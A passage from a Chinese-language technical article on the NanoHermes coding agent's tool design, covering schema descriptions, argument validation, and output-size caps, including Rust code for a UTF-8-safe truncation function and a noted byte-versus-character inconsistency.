<td>+N（服务器自己声明）</td>
<td><code>config.json</code> 的 mcp 段</td>
</tr>
<tr>
<td>MCP 辅助</td>
<td>配了 MCP 服务器</td>
<td>+4</td>
<td>代码</td>
</tr>
<tr>
<td><code>subagent</code></td>
<td>配了子代理</td>
<td>+2</td>
<td><code>config.json</code> 的 subagents 段</td>
</tr>
</tbody>
</table></div>

这带来一个可维护性要求：工具多了，模型选错的概率上升，用户看 <code>/tools</code> 输出也会疲劳。NanoHermes 的做法是三条：
<ol>
<li>条件性工具绝不无条件暴露。没发现技能就不给 <code>skill</code>，没配子代理就不给 <code>subagent</code>——避免模型去调用一个必然报错的工具。</li>
<li>权限不允许的工具直接过滤掉（<code>list.retain(...)</code>），让模型看不到当前模式下会被拒绝的工具，不浪费一次调用去撞墙。</li>
<li>相关能力合并成一个工具。<code>todo_write</code> 用「替换整个列表」的语义，省掉 add/update/remove/clear 四个工具；<code>run_command</code> 用 <code>background</code> 参数覆盖后台执行，而不是单独一个 <code>run_in_background</code>。</li>
</ol>

第 3 条是有争议的取舍：合并会让单个 schema 变复杂。但对模型来说，理解「带一个 <code>background</code> 布尔值的 <code>run_command</code>」比记住两个名字更省认知。
<h2>第二层形状：JSON schema 是唯一接口</h2>

模型看到的工具定义只有三段：名字、描述、参数 schema。这三段就是全部契约，没有任何隐式约定能被模型猜到。
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w">  </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;function&quot;</span><span class="p">,</span>
<span class="w">  </span><span class="nt">&quot;function&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nt">&quot;name&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;read_file&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="nt">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Read a text file from the workspace. Returns content with line numbers. Use offset/limit for large files.&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="nt">&quot;parameters&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;object&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nt">&quot;properties&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nt">&quot;path&quot;</span><span class="p">:</span><span class="w">   </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;string&quot;</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;File path, absolute or relative to the workspace root.&quot;</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="nt">&quot;offset&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;integer&quot;</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;1-based first line to read (default 1).&quot;</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="nt">&quot;limit&quot;</span><span class="p">:</span><span class="w">  </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;integer&quot;</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Maximum number of lines to read (default 2000).&quot;</span><span class="w"> </span><span class="p">}</span>
<span class="w">      </span><span class="p">},</span>
<span class="w">      </span><span class="nt">&quot;required&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;path&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">  </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


四个字段各有明确职责，缺一项就会产生一类误用：
<div class="table-scroll"><table>
<thead>
<tr>
<th>字段</th>
<th>职责</th>
<th>缺失/含糊的后果</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>name</code></td>
<td>模型调用的标识</td>
<td>——</td>
</tr>
<tr>
<td><code>description</code></td>
<td>什么时候用它、返回什么形状</td>
<td>模型用错工具、或该用不用</td>
</tr>
<tr>
<td><code>properties[].description</code></td>
<td>参数语义与默认值</td>
<td>参数填错、猜默认值、反复试</td>
</tr>
<tr>
<td><code>required</code></td>
<td>哪些参数必须有</td>
<td>模型漏传关键参数，多一次失败往返</td>
</tr>
</tbody>
</table></div>

其中两句是刻意写的：<code>Returns content with line numbers</code> 告诉模型返回格式，<code>Use offset/limit for large files</code> 告诉它大文件怎么办——这直接决定了模型遇到大文件时会不会改成分页读。

反面例子：<code>grep</code> 描述里的 <code>Search file contents for a literal substring</code>，<code>literal</code> 这个词很关键，它明确说明不支持正则；否则模型可能传一个 <code>\d+</code> 或 <code>.*</code> 进来，然后得到「没有匹配」的假结论。而 <code>include</code> 说明写的 <code>Glob filter, e.g. '*.rs' or 'src/**/*.ts'</code>，用两个例子代替语法描述，对模型比抽象说明更有效。
<h2>描述文本也是契约：一句描述要说清三件事</h2>

把 24 个工具的 <code>description</code> 摆在一起看，能总结出一个模式：好描述 = 做什么 + 返回什么 + 边界或注意事项。
<div class="table-scroll"><table>
<thead>
<tr>
<th>工具</th>
<th>描述里的关键短语</th>
<th>它解决的问题</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>write_file</code></td>
<td><code>Prefer edit_file for small changes</code></td>
<td>防止模型用整文件覆盖去做小改动</td>
</tr>
<tr>
<td><code>edit_file</code></td>
<td><code>must match the file byte-for-byte, including indentation</code></td>
<td>减少「匹配不到」的失败</td>
</tr>
<tr>
<td><code>apply_patch</code></td>
<td><code>instead of edit_file</code> + <code>must include @@ hunks with matching context</code></td>
<td>划清与 <code>edit_file</code> 的边界</td>
</tr>
<tr>
<td><code>run_command</code></td>
<td><code>Use non-interactive flags</code></td>
<td>防止命令卡在等待输入</td>
</tr>
<tr>
<td><code>run_command</code></td>
<td><code>Set background=true for long-running tasks, then poll with task_output</code></td>
<td>教会两段式用法</td>
</tr>
<tr>
<td><code>web_search</code></td>
<td><code>Follow up with web_fetch on a result URL to read the page</code></td>
<td>教会组合用法</td>
</tr>
<tr>
<td><code>todo_write</code></td>
<td><code>Replaces any previous list</code></td>
<td>消除「是追加还是替换」的歧义</td>
</tr>
<tr>
<td><code>memory_save</code></td>
<td><code>One concise, self-contained sentence</code></td>
<td>保证记忆可脱离上下文理解</td>
</tr>
<tr>
<td><code>git_commit</code></td>
<td><code>Asks the user to confirm unless auto-approval is enabled</code></td>
<td>让模型预知可能被拒绝</td>
</tr>
</tbody>
</table></div>

最值得学的是「跨工具指路」这一类：<code>write_file</code> 指向 <code>edit_file</code>、<code>apply_patch</code> 指向 <code>edit_file</code>、<code>web_search</code> 指向 <code>web_fetch</code>、<code>run_command</code> 指向 <code>task_output</code>。它们不增加任何能力，但显著减少错误选择，工具集越大收益越高。

反面例子：<code>task_list</code> 的描述只有一句 <code>List all background tasks with their id, command and status (running/finished).</code>，正确但偏薄——没说清输出格式，模型只能靠调一次来学。对低频、低风险的只读工具可以接受；如果它经常被误用，就该补上返回示例。
<h2>参数校验的第一道门</h2>

schema 是给模型看的建议，不是强制的。模型完全可能少传一个字段、传错类型，或者传个空字符串。所以每个工具入口都要有自己的校验。

<code>fs.rs</code> 里有一个共用的取值助手：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">req_str</span><span class="o">&lt;&#39;</span><span class="na">a</span><span class="o">&gt;</span><span class="p">(</span><span class="n">args</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="o">&#39;</span><span class="na">a</span><span class="w"> </span><span class="nc">Value</span><span class="p">,</span><span class="w"> </span><span class="n">key</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;&amp;&#39;</span><span class="na">a</span><span class="w"> </span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="w">        </span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">v</span><span class="o">|</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">as_str</span><span class="p">())</span>
<span class="w">        </span><span class="p">.</span><span class="n">ok_or_else</span><span class="p">(</span><span class="o">||</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;missing string field `{key}`&quot;</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div>


一行办三件事：字段不存在、类型不是字符串、值是 <code>null</code>，全部归为「missing string field」，错误里带上字段名，模型才能自己修。

可选参数统一给默认值而不是设为必填，原则是「覆盖最常见用法，且不产生危险行为」：<code>offset</code> 默认 1、<code>limit</code> 默认 2000、<code>timeout_secs</code> 默认 120、<code>max_chars</code> 默认 20000。危险值另用 <code>clamp</code> 挡住——<code>timeout_secs</code> 限在 1..3600 秒，<code>max_chars</code> 限在 500..200,000 字符，模型不能要求一个跑一整天不超时的命令，也不能一次要 100 MB 文本。

另一类是「空值防御」：
<div class="table-scroll"><table>
<thead>
<tr>
<th>工具</th>
<th>拒绝的输入</th>
<th>错误文本</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>run_command</code></td>
<td><code>command.trim().is_empty()</code></td>
<td><code>`command` must not be empty</code></td>
</tr>
<tr>
<td><code>grep</code> / <code>glob</code></td>
<td><code>pattern.is_empty()</code></td>
<td><code>`pattern` must not be empty</code></td>
</tr>
<tr>
<td><code>edit_file</code></td>
<td><code>old_string</code> 为空</td>
<td><code>`old_string` must not be empty; use write_file to create a file</code></td>
</tr>
<tr>
<td><code>apply_patch</code></td>
<td><code>diff.trim()</code> 为空</td>
<td><code>`diff` must not be empty</code></td>
</tr>
<tr>
<td><code>git_commit</code></td>
<td><code>message.trim()</code> 为空</td>
<td><code>`message` must not be empty</code></td>
</tr>
<tr>
<td><code>web_search</code></td>
<td><code>query.trim()</code> 为空</td>
<td><code>`query` must not be empty</code></td>
</tr>
</tbody>
</table></div>

这些检查看起来多余（模型为什么要传空字符串？），但挡住了两类真实情况：模型在「先占位再补」的推理中发出半成品调用；JSON 解析失败被兜成空对象，此时所有字段都是缺失。

还有一个顺序细节：<code>edit_file</code> 的空 <code>old_string</code> 检查和 <code>apply_patch</code> 的空 <code>diff</code> 检查都写在读文件之前。参数错误应该在碰到文件系统之前暴露，既省一次 IO，也避免「文件不存在」盖住「参数没填」的真实原因。
<h2>第三层预算：为什么输出必须封顶</h2>

前面两层讲「怎么调」，这一层讲「调完回来多少」，它最容易被忽略，也最容易出事。

反直觉的是：上下文最大的杀手往往不是用户输入，而是工具输出。用户打一行字可能几十个字符，一条 <code>run_command</code> 的输出可以是几兆。没有上限就会出三种坏结果：
<ol>
<li>上下文被挤爆。单次调用就超过 120,000 字符的会话预算，触发压缩，丢掉真正的历史；而压缩摘要还要多一次模型调用。</li>
<li>模型被噪音淹没。<code>ls -R</code> 或 <code>npm install</code> 的几千行里真正有用的可能只有三行，但模型必须读完全部。</li>
<li>请求直接失败。很多模型服务有单请求 token 上限，超了直接报错，整轮白跑。</li>
</ol>

反过来说，上限也是一种信息压缩手段：告诉模型「你看到的不是全部」，让它意识到该分页、缩小范围或换个工具。<strong>上限本身就是提示词的一部分。</strong>
<h2>三个无限来源</h2>

工具输出的长度风险来自三个方向，每个方向的封顶位置都不一样。
<div class="table-scroll"><table>
<thead>
<tr>
<th>来源</th>
<th>为什么可能无限</th>
<th>封顶的位置</th>
</tr>
</thead>
<tbody>
<tr>
<td>文件</td>
<td>用户可能有一个 500 MB 的日志文件</td>
<td><code>read_file</code> 的准入门 + <code>clamp</code></td>
</tr>
<tr>
<td>命令</td>
<td><code>npm install</code>、<code>cargo build</code>、<code>git log</code> 的输出条数不可控</td>
<td>管道读取时的捕获上限</td>
</tr>
<tr>
<td>网络</td>
<td>一个页面可以任意长，也可能是 100 MB 的压缩包</td>
<td>响应体字节上限 + 字符裁剪</td>
</tr>
<tr>
<td>目录</td>
<td>一个目录可以有十万个条目</td>
<td>读文件数上限（<code>grep</code>/<code>glob</code>）+ <code>clamp</code></td>
</tr>
</tbody>
</table></div>

对应到实现，封顶分四层：<strong>枚举前过滤</strong>（<code>grep</code> 跳过超过 1 MB 的文件）、<strong>读取时限制</strong>（<code>read_capped</code> 只留前 256 KB）、<strong>产出后裁剪</strong>（<code>clip</code> 把每行截到 240 字符）、<strong>出口兜底</strong>（<code>clamp</code> 统一截到 20,000 字节）。四层的顺序不能乱：枚举阶段不先按体积过滤，一个巨型文件就能拖慢整次 <code>grep</code>；读取阶段不限制，进程内存先炸，根本轮不到出口兜底。
<h2>一张总表：十三个上限</h2>

把散在各个文件里的常量集中起来看，会发现它们其实是一套完整的预算体系。
<div class="table-scroll"><table>
<thead>
<tr>
<th>常量</th>
<th>位置</th>
<th>值</th>
<th>管什么</th>
<th>超限后的行为</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>max_output</code></td>
<td><code>Ctx</code></td>
<td>20,000</td>
<td>所有工具的最终输出</td>
<td>截断 + 标注省略字节数</td>
</tr>
<tr>
<td><code>MAX_FILE_BYTES</code></td>
<td><code>tools/fs.rs</code></td>
<td>4 MB</td>
<td>单次 <code>read_file</code> 的准入</td>
<td>直接报错，提示分块读</td>
</tr>
<tr>
<td><code>MAX_MATCHES</code></td>
<td><code>tools/search.rs</code></td>
<td>200</td>
<td><code>grep</code> 命中条数</td>
<td>停止遍历 + 一行说明</td>
</tr>
<tr>
<td><code>MAX_FILES</code></td>
<td><code>tools/search.rs</code></td>
<td>500</td>
<td><code>glob</code> 结果文件数</td>
<td>停止收集 + 一行说明</td>
</tr>
<tr>
<td><code>MAX_FILE_BYTES</code></td>
<td><code>tools/search.rs</code></td>
<td>1 MB</td>
<td><code>grep</code> 单文件准入</td>
<td>静默跳过该文件</td>
</tr>
<tr>
<td><code>MAX_LINE_CHARS</code></td>
<td><code>tools/search.rs</code></td>
<td>240</td>
<td><code>grep</code> 单行长度</td>
<td>裁剪 + 省略号</td>
</tr>
<tr>
<td><code>CAPTURE_BYTES</code></td>
<td><code>tools/shell.rs</code></td>
<td>256 KB</td>
<td>前台命令每个流</td>
<td>排空丢弃 + 一行说明</td>
</tr>
<tr>
<td><code>CAPTURE_BYTES</code></td>
<td><code>tools/tasks.rs</code></td>
<td>512 KB</td>
<td>后台任务累计输出</td>
<td>排空丢弃 + 一行说明</td>
</tr>
<tr>
<td><code>MAX_RESPONSE_BYTES</code></td>
<td><code>tools/web.rs</code></td>
<td>2 MB</td>
<td>单次下载的响应体</td>
<td>排空丢弃 + 一行说明</td>
</tr>
<tr>
<td><code>MAX_BODY_CHARS</code></td>
<td><code>skills.rs</code></td>
<td>20,000</td>
<td>单个技能正文</td>
<td>截断</td>
</tr>
<tr>
<td><code>MAX_PROJECT_DOCS</code></td>
<td><code>prompt.rs</code></td>
<td>20,000</td>
<td>拼接后的项目文档</td>
<td>截断 + 一行说明</td>
</tr>
<tr>
<td><code>MAX_ITEMS</code></td>
<td><code>tools/todo.rs</code></td>
<td>50</td>
<td>计划列表条数</td>
<td>报错，拒绝写入</td>
</tr>
<tr>
<td><code>RESULT_PREVIEW</code></td>
<td><code>board.rs</code></td>
<td>500</td>
<td>子代理结果在列表里的预览</td>
<td>截断</td>
</tr>
</tbody>
</table></div>

三个观察：
<ol>
<li><strong>单位不统一。</strong> 有的按字节（<code>MAX_FILE_BYTES</code>、<code>CAPTURE_BYTES</code>、<code>max_output</code>），有的按"字符"名义但其实也是字节（见下一节），有的真的按字符（<code>MAX_BODY_CHARS</code>、<code>MAX_LINE_CHARS</code>）。对英文和代码影响不大，对中文和 emoji 差别是三倍。</li>
<li><strong>超限行为不统一。</strong> 三种：报错（<code>read_file</code>、<code>todo_write</code>）、截断加标注（<code>clamp</code>、<code>clip</code>、<code>CAPTURE_BYTES</code>）、静默跳过（<code>grep</code> 跳过 1 MB 以上的文件）。</li>
<li><strong>数量级分层清晰。</strong> 单次读文件最宽（4 MB），其次是网络（2 MB）、后台任务（512 KB）、前台命令（256 KB），最后统一收到 20,000 字节。这个梯度反映的是「数据从哪来」——本地文件最可信也最可控，网络最不可控。</li>
</ol>

最容易被忽略的是 <code>RESULT_PREVIEW = 500</code>：子代理结果在 <code>agent_list</code> 里的显示长度。它决定了父代理「扫一眼」任务板能看到多少，500 字符约一两句话，刚好够判断子代理是完成了还是卡住了。
<h2>统一出口：dispatch 末尾的 clamp</h2>

不管工具内部怎么封顶，最后还有一道统一的出口：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">dispatch</span><span class="p">(</span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">args</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Value</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Ctx</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="s">&quot;read_file&quot;</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">fs</span><span class="p">::</span><span class="n">read_file</span><span class="p">(</span><span class="n">args</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">),</span>
<span class="w">        </span><span class="c1">// … 二十多个分支 …</span>
<span class="w">        </span><span class="n">other</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;unknown tool `{other}`&quot;</span><span class="p">)),</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="n">r</span><span class="p">.</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">s</span><span class="o">|</span><span class="w"> </span><span class="n">clamp</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="w"> </span><span class="n">ctx</span><span class="p">.</span><span class="n">max_output</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div>


这一行的价值在于「不可绕过」：新增工具时作者可能忘了限输出，但只要走 <code>dispatch</code>，就一定被 <code>clamp</code> 收一遍。这是典型的「默认安全」——不安全的写法需要刻意绕过，而不是刻意加上。

<code>clamp</code> 只有十行，但有两个细节：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">clamp</span><span class="p">(</span><span class="n">s</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="n">max</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">s</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">max</span><span class="p">;</span>
<span class="w">    </span><span class="k">while</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="n">s</span><span class="p">.</span><span class="n">is_char_boundary</span><span class="p">(</span><span class="n">end</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">end</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="fm">format!</span><span class="p">(</span>
<span class="w">        </span><span class="s">&quot;{}</span><span class="se">\n</span><span class="s">… output truncated ({} chars omitted)&quot;</span><span class="p">,</span>
<span class="w">        </span><span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="o">..</span><span class="n">end</span><span class="p">],</span>
<span class="w">        </span><span class="n">s</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">end</span>
<span class="w">    </span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


第一个细节是<strong>字符边界回退</strong>。<code>&amp;s[..end]</code> 要求 <code>end</code> 落在 UTF-8 边界上，否则直接 panic；切到第 20,000 字节时很可能正切在某个中文字符中间（中文占三字节），所以必须往前退。最多退两个字节，但少了它，Agent 会 panic 而不是截断。

第二个细节是<strong>省略字节数</strong>。标注 <code>(3600 chars omitted)</code> 让模型知道这里少了东西，但写的是 <code>chars</code>、算的是字节。中文场景下实际省略的字符数是标注值的三分之一。

还有一处不对称：<code>Result::map</code> 只处理 <code>Ok</code> 分支，<code>Err</code> 原样透传，所以错误信息<strong>不</strong>受 <code>max_output</code> 限制。理论上工具可以返回一条超长错误把上下文撑大，实践中错误都很短，但这个差别值得记住。
<h2>clamp 的注释与实现不一致：字符还是字节</h2>

<code>Ctx</code> 里的字段声明写着：
<div class="codehilite"><pre><span></span><code><span class="sd">/// Max characters of tool output fed back to the model (keeps context small).</span>
<span class="k">pub</span><span class="w"> </span><span class="n">max_output</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">,</span>
</code></pre></div>


注释说是 <strong>characters</strong>。而 <code>clamp</code> 用的是 <code>s.len()</code>——Rust 里 <code>String::len()</code> 返回的是<strong>字节数</strong>。所以 <code>max_output = 20_000</code> 实际是 20,000 字节。

这个差别在中文内容上是三倍：纯 ASCII 的 20,000 字节正好是 20,000 字符；中文（UTF-8 三字节）只有约 6,666 字；中英混排约 10,000 字符。对读中文注释、搜中文文档、拉中文页面，这个差别都会实际发生——中文内容的可比容量只有英文的三分之一。

同一份代码里还有相反的写法：<code>web_fetch</code> 的 <code>clip_chars</code>、<code>grep</code> 的 <code>MAX_LINE_CHARS</code>、技能正文的 <code>MAX_BODY_CHARS</code> 都真的按字符。所以同一个项目里有两套语义，取决于作者当时用的是 <code>s.len()</code> 还是 <code>chars().count()</code>。

这不是需要立刻修的 bug——20,000 字节对绝大多数场景够用。但它是一个<strong>必须写进文档的不一致</strong>，因为任何基于「max_output 是字符数」的容量估算都会错。改法很简单：把 <code>Ctx</code> 的注释从 <code>Max characters</code> 改成 <code>Max bytes</code>（零成本），或把 <code>clamp</code> 改成按 <code>chars()</code> 计数（更符合直觉，但每次都要遍历字符串）。
<h2>截断的三种语义：拒绝、截断、丢弃</h2>

超限之后做什么，不是一个统一的问题。三种做法各有适用场景，选错了会制造很难查的问题。
<div class="table-scroll"><table>
<thead>
<tr>
<th>语义</th>
<th>实现</th>
<th>用在哪</th>
<th>优点</th>
<th>风险</th>
</tr>
</thead>
<tbody>
<tr>
<td>拒绝</td>
<td>返回 <code>Err</code></td>
<td><code>read_file</code> 超 4 MB、<code>todo_write</code> 超 50 条</td>
<td>模型立刻知道要换策略</td>
<td>多一次失败往返</td>
</tr>
<tr>
<td>截断加标注</td>
<td>保留前缀 + 说明省略量</td>
<td><code>clamp</code>、<code>clip</code>、<code>CAPTURE_BYTES</code></td>
<td>有信息可用，模型知道不完整</td>
<td>标注本身也占预算</td>
</tr>
<tr>
<td>静默丢弃</td>
<td>跳过，不提示</td>
<td><code>grep</code> 跳过超 1 MB 的文件</td>
<td>不打断流程</td>
<td>模型以为「没有匹配」</td>
</tr>
</tbody>
</table></div>

第三种最危险，来看具体位置：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">meta</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fs</span><span class="p">::</span><span class="n">metadata</span><span class="p">(</span><span class="n">path</span><span class="p">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">};</span>
<span class="k">if</span><span class="w"> </span><span class="n">meta</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">MAX_FILE_BYTES</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="p">;</span><span class="w">   </span><span class="c1">// 超过 1 MB 的文件直接跳过，不报不提示</span>
<span class="p">}</span>
</code></pre></div>


如果模型在一堆小文件里搜一个字符串，而那个字符串恰好只出现在一个大文件里，它会得到 <code>no matches for ...</code>。这个结论是错的，但模型无从判断，因为它不知道有文件被跳过了。

为什么仍然选静默跳过？因为在遍历整个目录树时，为每个超限文件输出一行提示，会让「匹配不到」这种情况返回几十行噪音，反而更糟。折中方案是在最终输出里追加一句「N 个文件因体积被跳过」——只需要一个计数器，成本极低，收益是一整类误判的消除。

同理，<code>read_capped</code> 的「排空丢弃」也是一种设计：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="p">(</span><span class="k">crate</span><span class="p">)</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">read_capped</span><span class="p">(</span><span class="k">mut</span><span class="w"> </span><span class="n">r</span><span class="p">:</span><span class="w"> </span><span class="nc">impl</span><span class="w"> </span><span class="n">Read</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="p">(</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="kt">u8</span><span class="o">&gt;</span><span class="p">,</span><span class="w"> </span><span class="kt">usize</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">kept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Vec</span><span class="p">::</span><span class="n">new</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">total</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="k">usize</span><span class="p">;</span>
<span class="w">    </span><span class="k">loop</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">match</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">buf</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nb">Ok</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">break</span><span class="p">,</span>
<span class="w">            </span><span class="nb">Ok</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="n">total</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">n</span><span class="p">;</span>
<span class="w">                </span><span class="k">if</span><span class="w"> </span><span class="n">kept</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">CAPTURE_BYTES</span><span class="w"> </span><span class="p">{</span>
<span class="w">                    </span><span class="kd">let</span><span class="w"> </span><span class="n">room</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CAPTURE_BYTES</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">kept</span><span class="p">.</span><span class="n">len</span><span class="p">();</span>
<span class="w">                    </span><span class="n">kept</span><span class="p">.</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="n">n</span><span class="p">.</span><span class="n">min</span><span class="p">(</span><span class="n">room</span><span class="p">)]);</span>
<span class="w">                </span><span class="p">}</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="nb">Err</span><span class="p">(</span><span class="k">ref</span><span class="w"> </span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="n">kind</span><span class="p">()</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">io</span><span class="p">::</span><span class="n">ErrorKind</span><span class="p">::</span><span class="n">Interrupted</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">continue</span><span class="p">,</span>
